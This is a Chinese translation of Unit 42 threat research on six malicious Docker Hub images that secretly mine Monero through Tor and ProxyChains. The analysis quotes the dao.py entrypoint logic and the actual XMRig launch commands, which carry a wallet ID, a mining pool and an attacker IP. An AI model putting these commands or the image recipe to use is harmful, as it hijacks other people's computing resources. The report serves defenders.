简介
Docker容器是一种对软件进行打包处理的便捷方式,因此采用率不断增加。Unit 42研究人员发现了一个名为azurenql 的Docker Hub社区用户账号,其中含有8个仓库和6个恶意门罗币挖矿镜像。下面是账号和仓库的截图:
图 1. Docker Hub上的恶意Docker镜像
表1是Docker Hub账户的所有镜像,下载次数最多的镜像被下载了147万次。
表 1. Docker Hub账户上的镜像总结
Docker镜像结构
研究人员检查了azurenql /227_135:442 的镜像结构,该镜像是按如下步骤构造的:
1、使用Ubuntu 16.04.6 LTS作为基础镜像;
2、安装构造镜像所需的依赖库,比如gcc、make、python等;
3、安装tor来对流量进行匿名处理,配置为默认端口9050;
/etc/tor/torrc 127.0.0.1:9050
4、复制ProxyChains-NG 源并从该源构造。ProxyChains的配置为默认配置来通过本地Tor SOCKS代理连接来路由流量。
/usr/local/etc/proxychains.conf [ProxyList] # defaults set to "tor" socks4 127.0.0.1 9050
5、复制挖矿软件XMRig的源,并从该源构造。
6、复制定制的python脚本dao.py并将其设置为镜像的Entrypoint。
图 2. 镜像构造顺序
脚本dao.py分析
镜像的作者包括了一个定制的Python脚本——dao.py,复制在容器内开启挖矿进程。如前所述,脚本被注册为镜像的Entrypoint,因此镜像启动后,脚本就会运行。
"Entrypoint": [ "/bin/sh", "-c", "python /etc/dao.py" ],
表1中的所有Docker镜像中都含有dao.py脚本或其变种。这些镜像中dao.py 脚本的差异在于使用不同的XMRig命令行调用,如表2所示。
dao.py 脚本的执行流如下所示:
1、计算系统内CPU核的数量;
2、设置hugepages 系统特征来增加哈希率;
图 3. 设置hugepages 系统特征来增加哈希率
3、安装Tor和构建依赖关系。
4、如果没有安装proxychains-ng,就从https://github.com/rofl0r/proxychains-ng.git 安装;
5、如果/usr/local/bin 中没有XMRig二进制文件(dll),就从https://github.com/nguyennhatduy2608/azures/raw/master/ 下载;
6、在/usr/local/bin and /usr/bin 中对XMRig 二进制文件进行系统链接;
7、在后台启动Tor。
8、通过代理链来启动矿工,通过本地Tor SOCKS代理来路由挖矿流量。dao.py脚本使用的不同挖矿命令如图2所示:
图 4. 使用proxychains启动挖矿的命令
脚本的执行工作流如图5所示:
图 5. dao.py脚本执行序列
表2 dao.py脚本中使用了的不同的挖矿命令
挖矿基础设施
加密货币挖矿是解决复杂的计算难题,用户可以将交易区块链接起来。恶意镜像使用受害者系统的处理能力来验证交易。镜像的作者通过在用户环境中运行恶意镜像来挖矿。第一种方法中,攻击者使用钱包ID直接提交挖到的区块到中心minexmr 矿池。
os.system ('xmrig --av=7 --variant 1 --donate-level=0 -o stratum+tcp://pool.minexmr.com:4444 -u 43ZBkWEBNvSYQDsEMMCktSFHrQZTDwwyZfPp43FQknuy4UD3qhozWMtM4kKRyrr2 Nk66JEiTypfvPbkFd5fGXbA1LxwhFZf+20001')
图 6是钱包地址2020年4月-5月之间的挖矿活动。
图 6. 钱包 ID活动
图 7表明该钱包ID已经挖到了525.38XMR(门罗币),约合3.6万美元。
图 7. 钱包 ID挖到的门罗币
第二种方法中,攻击者在运行挖矿池的托管服务中部署了实例用来收集挖到的区块。
表2中的Crypto Command 列给出了该方法的示例:
os.system ('proxychains4 ' + program + ' --donate-level 1 -o stratum+tcp://66.42.93.164:442 --tls -t ' + str(cores))
本文翻译自:https://unit42.paloaltonetworks.com/cryptojacking-docker-images-for-mining-monero/如若转载,请注明原文地址: